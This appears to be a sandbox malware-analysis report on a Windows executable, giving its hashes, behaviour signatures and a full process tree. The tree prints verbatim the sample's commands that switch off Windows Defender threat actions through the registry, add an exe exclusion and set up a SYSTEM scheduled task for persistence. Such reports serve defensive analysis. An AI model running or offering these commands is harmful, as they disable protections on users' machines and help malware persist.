e67727779a797a62486c66297d9808b9170d2e25ac3ebc7054dc14c1458896bc

Analysis

max time kernel
5s
max time network
256s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
10-06-2024 09:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e67727779a797a62486c66297d9808b9170d2e25ac3ebc7054dc14c1458896bc.exe
Size

7.3MB
MD5

72ba8aabda1cf2b4b7f2a7c7482613bd
SHA1

8c18e067d274ea3fb4ea9d6f3cbc8882dc2aaeb8
SHA256

e67727779a797a62486c66297d9808b9170d2e25ac3ebc7054dc14c1458896bc
SHA512

5e8f6c1f997c745df60521fa7bbb865007af94a05930c0db09e9f2acf7e5288fd22f27ac7bc1c1c2d467fe6b31fd0cab3a29b7a02f8025c2e3a177d8502d18ae
SSDEEP

196608:91OKXI9tMGW3Hdd9Hcr9HcxsqyDbOFPIvPlaHYPTepMH00eCC:3O+Ue99z1xjyOFclxPmMH0lR

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1156	powershell.EXE
4548	powershell.exe
428	powershell.exe
2672	powershell.exe
4576	powershell.exe
1304	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
524	Install.exe
2704	Install.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
3460	2560	WerFault.exe	107
692	2704	WerFault.exe	75
4712	1456	WerFault.exe	196

Creates scheduled task(s) 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3484	schtasks.exe
2500	schtasks.exe
5084	schtasks.exe
4952	schtasks.exe
1680	schtasks.exe
4908	schtasks.exe
4660	schtasks.exe
5068	schtasks.exe
3976	schtasks.exe
5056	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2672	powershell.exe
2672	powershell.exe
2672	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2672	powershell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 5008 wrote to memory of 524	5008	e67727779a797a62486c66297d9808b9170d2e25ac3ebc7054dc14c1458896bc.exe	74
PID 5008 wrote to memory of 524	5008	e67727779a797a62486c66297d9808b9170d2e25ac3ebc7054dc14c1458896bc.exe	74
PID 5008 wrote to memory of 524	5008	e67727779a797a62486c66297d9808b9170d2e25ac3ebc7054dc14c1458896bc.exe	74
PID 524 wrote to memory of 2704	524	Install.exe	75
PID 524 wrote to memory of 2704	524	Install.exe	75
PID 524 wrote to memory of 2704	524	Install.exe	75
PID 2704 wrote to memory of 4816	2704	Install.exe	76
PID 2704 wrote to memory of 4816	2704	Install.exe	76
PID 2704 wrote to memory of 4816	2704	Install.exe	76
PID 4816 wrote to memory of 3164	4816	cmd.exe	78
PID 4816 wrote to memory of 3164	4816	cmd.exe	78
PID 4816 wrote to memory of 3164	4816	cmd.exe	78
PID 3164 wrote to memory of 4548	3164	forfiles.exe	215
PID 3164 wrote to memory of 4548	3164	forfiles.exe	215
PID 3164 wrote to memory of 4548	3164	forfiles.exe	215
PID 4548 wrote to memory of 3276	4548	cmd.exe	172
PID 4548 wrote to memory of 3276	4548	cmd.exe	172
PID 4548 wrote to memory of 3276	4548	cmd.exe	172
PID 4816 wrote to memory of 5024	4816	cmd.exe	239
PID 4816 wrote to memory of 5024	4816	cmd.exe	239
PID 4816 wrote to memory of 5024	4816	cmd.exe	239
PID 5024 wrote to memory of 168	5024	forfiles.exe	82
PID 5024 wrote to memory of 168	5024	forfiles.exe	82
PID 5024 wrote to memory of 168	5024	forfiles.exe	82
PID 168 wrote to memory of 316	168	cmd.exe	83
PID 168 wrote to memory of 316	168	cmd.exe	83
PID 168 wrote to memory of 316	168	cmd.exe	83
PID 4816 wrote to memory of 216	4816	cmd.exe	84
PID 4816 wrote to memory of 216	4816	cmd.exe	84
PID 4816 wrote to memory of 216	4816	cmd.exe	84
PID 216 wrote to memory of 364	216	forfiles.exe	85
PID 216 wrote to memory of 364	216	forfiles.exe	85
PID 216 wrote to memory of 364	216	forfiles.exe	85
PID 364 wrote to memory of 3324	364	cmd.exe	86
PID 364 wrote to memory of 3324	364	cmd.exe	86
PID 364 wrote to memory of 3324	364	cmd.exe	86
PID 4816 wrote to memory of 2424	4816	cmd.exe	87
PID 4816 wrote to memory of 2424	4816	cmd.exe	87
PID 4816 wrote to memory of 2424	4816	cmd.exe	87
PID 2424 wrote to memory of 516	2424	forfiles.exe	88
PID 2424 wrote to memory of 516	2424	forfiles.exe	88
PID 2424 wrote to memory of 516	2424	forfiles.exe	88
PID 516 wrote to memory of 1424	516	cmd.exe	128
PID 516 wrote to memory of 1424	516	cmd.exe	128
PID 516 wrote to memory of 1424	516	cmd.exe	128
PID 4816 wrote to memory of 2904	4816	cmd.exe	136
PID 4816 wrote to memory of 2904	4816	cmd.exe	136
PID 4816 wrote to memory of 2904	4816	cmd.exe	136
PID 2904 wrote to memory of 5076	2904	forfiles.exe	186
PID 2904 wrote to memory of 5076	2904	forfiles.exe	186
PID 2904 wrote to memory of 5076	2904	forfiles.exe	186
PID 5076 wrote to memory of 2672	5076	cmd.exe	92
PID 5076 wrote to memory of 2672	5076	cmd.exe	92
PID 5076 wrote to memory of 2672	5076	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\e67727779a797a62486c66297d9808b9170d2e25ac3ebc7054dc14c1458896bc.exe
"C:\Users\Admin\AppData\Local\Temp\e67727779a797a62486c66297d9808b9170d2e25ac3ebc7054dc14c1458896bc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5008
- C:\Users\Admin\AppData\Local\Temp\7zS613A.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Users\Admin\AppData\Local\Temp\7zS630F.tmp\Install.exe
    .\Install.exe /aRyuFdidsHibq "525403" /S
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2704
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4816
    - - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3164
      - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4548
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:3276
    - - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5024
      - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:168
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:316
    - - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:216
      - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:364
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:3324
    - - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2424
      - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:516
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:1424
    - - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2904
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5076
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2672
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        8⤵
        
        PID:2300
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
      4⤵
      PID:3308
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        5⤵
        
        PID:3732
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4576
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:4900
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bGTnZQDECKwDuNSWyq" /SC once /ST 09:41:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS630F.tmp\Install.exe\" FN /eVbdidjHgU 525403 /S" /V1 /F
      4⤵
      Creates scheduled task(s)
      PID:5056
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bGTnZQDECKwDuNSWyq"
      4⤵
      PID:4632
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bGTnZQDECKwDuNSWyq
        5⤵
        
        PID:3672
      - \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bGTnZQDECKwDuNSWyq
        6⤵
        
        PID:1568
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2704 -s 756
      4⤵
      Program crash
      PID:692

C:\Users\Admin\AppData\Local\Temp\7zS630F.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS630F.tmp\Install.exe FN /eVbdidjHgU 525403 /S
1⤵
PID:2560
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:920
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:692
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:2216
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:820
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:4372
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:4704
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:4352
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:4220
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4712
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2896
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:2640
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:4236
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:4240
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3744
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:4860
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1304
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:192
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:4876
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1424
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5072
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:3452
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2204
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4660
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3736
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2904
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1972
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3476
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4132
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1844
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4336
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4744
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4992
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3464
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4900
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4960
- - C:\Windows\SysWOW64\reg.exe
